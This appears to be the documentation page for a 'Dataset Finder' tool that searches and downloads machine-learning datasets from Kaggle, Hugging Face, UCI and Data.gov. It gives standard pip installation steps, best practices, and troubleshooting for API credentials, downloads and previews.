Dataset Finder
Search, download, and explore datasets from multiple repositories including Kaggle, Hugging Face, UCI ML Repository, and Data.gov. Preview statistics, generate data cards, and manage datasets for machine learning projects.
⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS)
Installation:
# Standard installation
pip install kaggle datasets pandas huggingface-hub requests beautifulsoup4
# If you encounter permission errors, use a virtual environment
python -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install kaggle datasets pandas huggingface-hub requests beautifulsoup4
Never use --break-system-packages as it can damage your system's Python installation.

Best Practices
Search Strategy
- Start broad - Use general keywords first
- Refine iteratively - Add filters based on results
- Check multiple sources - Different repositories have different strengths
- Review metadata - Check size, format, license before downloading
Download Management
- Check size first - Use search to see dataset size
- Preview before download - When possible, preview samples
- Organize by source - Keep repository structure clear
- Track downloads - Use list command to manage local datasets
Data Quality
- Always preview - Check data before using
- Generate data cards - Document all datasets
- Validate data - Check for missing values, outliers
- Keep metadata - Save original descriptions and licenses
Storage
- Use version control - Track dataset versions
- Compress when possible - Use Parquet or HDF5 for large datasets
- Clean regularly - Remove unused datasets
- Backup important data - Keep copies of critical datasets
Troubleshooting
Installation Issues
"Missing required dependency"
# Install all dependencies
pip install kaggle datasets pandas huggingface-hub requests beautifulsoup4
# Or use virtual environment
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
"Kaggle API credentials not found"
- Go to https://www.kaggle.com/settings
- Click "Create New API Token"
- Save
kaggle.jsonto:- Linux/Mac:
~/.kaggle/ - Windows:
%USERPROFILE%\.kaggle\
- Linux/Mac:
- Set permissions:
chmod 600 ~/.kaggle/kaggle.json
"Hugging Face authentication required"
# Login to Hugging Face
huggingface-cli login
# Or set token
export HF_TOKEN="your_token_here"
Search Issues
"No results found"
- Try broader search terms
- Remove restrictive filters
- Check spelling
- Try different repository
"Search timeout"
- Check internet connection
- Repository may be down temporarily
- Try again in a few minutes
Download Issues
"Download failed"
- Check internet connection
- Verify dataset still exists
- Check available disk space
- Try downloading specific files
"Permission denied"
- Some datasets require accepting terms
- May need API credentials
- Check dataset license
"Out of memory"
- Use streaming for large datasets
- Download in chunks
- Use Parquet instead of CSV
Preview Issues
"Cannot load dataset"
- Check file format
- Verify file is not corrupted
- Try specifying encoding:
--encoding utf-8
"Preview too slow"
- Use smaller sample size
- Preview first N rows only
- Use format-specific tools
